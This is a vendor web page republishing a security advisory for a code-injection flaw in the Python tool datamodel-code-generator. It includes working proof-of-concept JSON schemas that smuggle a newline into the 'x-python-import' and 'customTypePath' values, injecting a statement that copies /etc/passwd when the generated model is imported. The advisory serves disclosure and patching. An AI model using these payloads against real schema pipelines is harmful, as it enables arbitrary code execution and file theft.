Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-5578-w22f-pfx9 is a high-severity (CVSS 7.5) Code Injection vulnerability in datamodel-code-generator. O3 Security confirms whether GHSA-5578-w22f-pfx9 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

datamodel-code-generator vulnerable to code injection via `x-python-import` / `customTypePath` in generated import statements

Also known asCVE-2026-55415PYSEC-2026-3557
Published
Jul 28, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-5578-w22f-pfx9.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs35th percentile — riskier than 35% of all scored CVEsHighest risk
0.00%0.30%0.61%0.91%0.3%0.4%0.4%Aug 26Sep 26Sep 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-5578-w22f-pfx9 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 372,423 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍datamodel-code-generator

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that imports the generated model. The x-python-import and customTypePath schema extensions flow, unsanitized, into the import statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the from … import … line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates /etc/passwd). It survives the v0.61.0 security release that fixed the related x-python-type, default_factory, GraphQL-union-description, and validators sinks those fixes did not cover this sibling path.

Details

The sink is Import.from_full_path and Imports.create_line:

  • src/datamodel_code_generator/imports.py:35from_full_path() only does class_path.split(".") and preserves every other character, including newlines:
    @classmethod
    @lru_cache
    def from_full_path(cls, class_path: str) -> Import:
        split_class_path: list[str] = class_path.split(".")
        return cls(import_=split_class_path[-1], from_=".".join(split_class_path[:-1]) or None)
    
  • src/datamodel_code_generator/imports.py:64create_line() renders the result verbatim:
    def create_line(self, from_: str | None, imports: set[str]) -> str:
        if from_:
            return f"from {from_} import {', '.join(self._set_alias(from_, imports))}"
        return "\n".join(f"import {i}" for i in self._set_alias(from_, imports))
    

There is no check that the path segments are Python identifiers, contrast validators._validate_dotted_python_identifier_path, which the same v0.61.0 release added for the validators config, and types.is_python_type_annotation, added for x-python-type. The two extensions below were left unguarded.

Two schema-controlled, default-config entry points reach this sink:

  1. x-python-importsrc/datamodel_code_generator/parser/jsonschema.py:1851-1858 (get_ref_data_type):
    x_python_import = ref_schema.extras.get("x-python-import")
    if isinstance(x_python_import, dict):
        module = x_python_import.get("module")
        type_name = x_python_import.get("name")
        if module and type_name:
            full_path = f"{module}.{type_name}"
            import_ = Import.from_full_path(full_path)
            self.imports.append(import_)
    
  2. customTypePath — declared at src/datamodel_code_generator/parser/jsonschema.py:438, consumed at :4118 and :4365 via get_data_type_from_full_path(custom_type_path, is_custom_type=True) → the same Import.from_full_path sink.

Mechanism. With name = "getcwd\nprint(...)", full_path = "os.getcwd\nprint(...)". from_full_path splits only on ., so (provided the injected statement contains no .) it yields from_="os" and import_="getcwd\nprint(...)". create_line then emits:

from os import getcwd
print(...)        # ← attacker statement at module scope, executes on import

The dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. print(*open('/etc/passwd'), file=open('/tmp/loot','w'), sep='', end='') reads and exfiltrates a file using no .).

None of the six v0.61.0 fix commits (aec47bc4, b73abb5c, 17fc235e, 2c93c9b7, a43d0290, 5fdba4a0) touched x-python-import, customTypePath, or imports.py; imports.py was last modified ~5 months before the release. This is therefore an incomplete fix: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.

PoC

Self contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b

Default invocation, no special flags, on the patched release (commit 227ffe85ee2dcfc79336fbb14ad64c02a166b65a, v0.61.0).

payload_a.json:

{
  "type": "object",
  "title": "Root",
  "required": ["f"],
  "properties": { "f": { "$ref": "#/$defs/Evil" } },
  "$defs": {
    "Evil": {
      "type": "object",
      "x-python-import": {
        "module": "os",
        "name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
      }
    }
  }
}

Generate and import:

datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
python -c "import model"

Generated model.py (verbatim, the breakout sits at module scope):

from __future__ import annotations

from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from pydantic import BaseModel
...

Importing model reads /etc/passwd and writes an exact copy to /tmp/dmcg_xpi_loot:

$ head -1 /tmp/dmcg_xpi_loot
root:x:0:0:root:/root:/bin/bash

Confirmed under both the default output (pydantic v1) and --output-model-type pydantic_v2.BaseModel. The customTypePath variant reproduces identically:

{ "type":"object","title":"Root","required":["f"],
  "properties":{ "f":{ "type":"object",
    "customTypePath":"os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')" }}}

A benign control (x-python-import: {"module":"decimal","name":"Decimal"}) produces clean from decimal import Decimal and no execution. A complete self-contained validation harness, run.sh plus control.json, payload_a.json, payload_b.json, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).

Suggested fix. Validate every dotted segment of module, name, and customTypePath as a Python identifier before building the import (reuse validators._validate_dotted_python_identifier_path), and/or reject non-identifier paths centrally inside Import.from_full_path.

Impact

Arbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker's code with the importing process's privileges. The PoC demonstrates arbitrary local file read (/etc/passwd); the same primitive yields full RCE.

Maintainer status

Confirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1

Fix summary: validate x-python-import and customTypePath values as dotted Python identifier paths before using them in generated imports or type paths.

Release status: not fixed in 0.63.0; customTypePath was introduced in 0.11.6, so affected versions are >= 0.11.6, <= 0.63.0. This advisory should remain unpublished until the private PR is merged and a patched release is available.

Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIdatamodel-code-generator0.11.6&&< 0.64.00.64.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for datamodel-code-generator. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update datamodel-code-generator to 0.64.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5578-w22f-pfx9 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-5578-w22f-pfx9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-5578-w22f-pfx9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

#### Summary A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that **imports** the generated model. The `x-python-import` and `customTypePath` schema extensions flow, unsanitized, into the `import` statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the `from … import …` line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file r
O3 Security · Impact-Aware SCA

Is GHSA-5578-w22f-pfx9 in your dependencies?

O3 detects GHSA-5578-w22f-pfx9 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-5578-w22f-pfx9: RCE (High 7.5) | O3 Security